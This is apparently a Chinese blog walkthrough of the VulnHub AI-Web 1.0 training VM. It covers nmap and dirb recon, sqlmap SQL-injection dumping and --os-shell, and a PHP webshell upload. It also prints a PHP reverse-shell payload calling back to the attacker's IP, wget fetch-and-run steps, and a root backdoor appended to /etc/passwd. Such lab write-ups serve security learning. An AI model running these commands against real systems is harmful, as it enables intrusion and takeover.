AI-web 1.0靶机练习

项目地址

```plain https://www.vulnhub.com/entry/ai-web-1,353/ ``` ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/0f42b5259a86486199b03ccc6e44fe01.webp#pic_center)

实验过程

将下载好的靶机导入到VMware中,设置网络模式为NAT模式,然后开启靶机虚拟机

![](https://img-blog.csdnimg.cn/img_convert/1d48266c5490b65d22e22987e88ac2c2.png)

使用nmap进行主机发现,获取靶机IP地址

```plain nmap 192.168.47.1-254 ```

根据对比可知DC-8的一个ip地址为192.168.47.135

扫描Ai-Web1.0的操作系统,端口及对应服务

```plain nmap -A -p- 192.168.47.135 ```

发现开放80端口

在浏览器访问http://192.168.47.135

![](https://img-blog.csdnimg.cn/img_convert/26d0a0786f0ad3056f423a848cbabe04.png)

对网站进行目录和文件扫描

```plain dirb http://192.168.47.135 ```

出现robots.txt文件

进入网站进行查询

![](https://img-blog.csdnimg.cn/img_convert/a489a9d9e2ff76cf7f401a6aa07e6657.png)

尝试访问发现没有权限

使用dirb进行扫描

```plain dirb http://192.168.47.135/m3diNf0/ dirb http://192.168.47.135/se3reTdir777/ ```

结果可知dirb http://192.168.47.135/m3diNf0/有一个info.php页面

尝试访问

dirb http://192.168.47.135/se3reTdir777/有一个index.php页面

尝试访问

发现是查询页面 考虑sql注入

输入'页面报错

![](https://img-blog.csdnimg.cn/img_convert/cf635c2af7069ead2c0fb0b01f916654.png)

存在sql注入

使用Burpsuite进行一个抓包,得到注入点

![](https://img-blog.csdnimg.cn/img_convert/3316cfdeb529965837826bc220ca3019.png)

使用sqlmap进行扫描

```plain sqlmap -u "http://192.168.47.135/se3reTdir777/index.php" -data "uid=123&Operation=Submit" -dbs ```

sqlmap -u  "http://192.168.47.135/se3reTdir777/index.php" -data "uid=123&Operation=Submit" -D aiweb1 --tables

sqlmap -u  "http://192.168.47.135/se3reTdir777/index.php" -data "uid=123&Operation=Submit" -D aiweb1 -T user --columns

sqlmap -u  "http://192.168.47.135/se3reTdir777/index.php" -data "uid=123&Operation=Submit" -D aiweb1 -T user -C id --dump

没有什么有用信息了

尝试–os-shell

首先获取绝对路径

进入info.php查找

找到了路径 /home/www/html/web1x443290o2sdf92213/

需要一个可以上传文件的页面se3reTdir777/uploads/刚好符合

它的绝对目录为/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

使用--os-shell

```plain sqlmap -u "http://192.168.47.135/se3reTdir777/index.php" -data "uid=123&Operation=Submit" --level=3 --os-shell ```

成功进入shell

上传一句话木马

在sqlmap文件夹里写一个一句话木马文件

在sqlmap开个终端

sqlmap -u "http://192.168.47.135/se3reTdir777/index.php" --data "uid=123&Operation=Submit" --file-write 1.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php

发现一句话木马文件移进来了

蚁剑连接

打开蚁剑
进行连接
```plain http://192.168.47.135/se3reTdir777/uploads/1.php ```

可以正常访问

这里蚁剑要拿到他的终端,右击打开终端
![](https://img-blog.csdnimg.cn/img_convert/48badbc12e9f28ef72886bf1ee59dcd0.png)

nc反弹

在 kali 写⼀个 php ⽂件
```plain <?php $sock=fsockopen("192.168.47.129",6666); exec("/bin/bash -i <&3 >&3 2>&3"); ?> ```

在Kali开启一个端口服务
```plain python -m http.server 7777 ```

到 os-shell 命令行,用wget 命令下载
```plain wget http://192.168.47.129:7777/3.php ```

开启监听

```plain nc -lvvp 6666 ```

在--os-shell 执行木马文件
```plain php 3.php ```

监听成功

提权

查看当前用户
![](https://img-blog.csdnimg.cn/img_convert/2ea30e69c83840524641885d19aa5746.png)

在 Linux 系统中我们要向手动生成⼀个密码可以采用opensll passwd来生成⼀个密码作为用户账号的密码。

Linux系统中的密码存放在 /etc/shadow 文件中,并且是以加密的方式存放的,根据加密方式的不同,所产生的加密后的密码的位数也不同 。

:::info
openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。

:::

使用openssl 创建⼀个用户
```plain openssl passwd -1 -salt h 123456 ```

:::info
openssl passwd 参数 用户名 密码

:::

-1:表示采用的是MD5加密算法。

-salt:指定salt值,不使用随机产生的salt。在使用加密算法进行加密时,即使密码⼀样,salt不⼀样,所计算出来的hash值也不⼀样,除非密码⼀样,salt值也⼀样,计算出来的hash值才⼀样。salt为8字节的字符串。

将用户写入/etc/passwd文件中
```plain echo 'h:$1$h$DcmWd6ffV7pl4.0.1QBQ40:0:0:root:/root:/bin/bash'>>/etc/passwd ```

使用cat查看是否写入
```plain cat /etc/passwd ```

成功写入

切换用户
⽤脚本提升为交互式shell,然后切换用户
python -c 'import pty;pty.spawn("/bin/bash")'
su h

寻找flag
```plain cd / ls cd root ls cat flag.txt ```


好小子,离成功又近一步!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值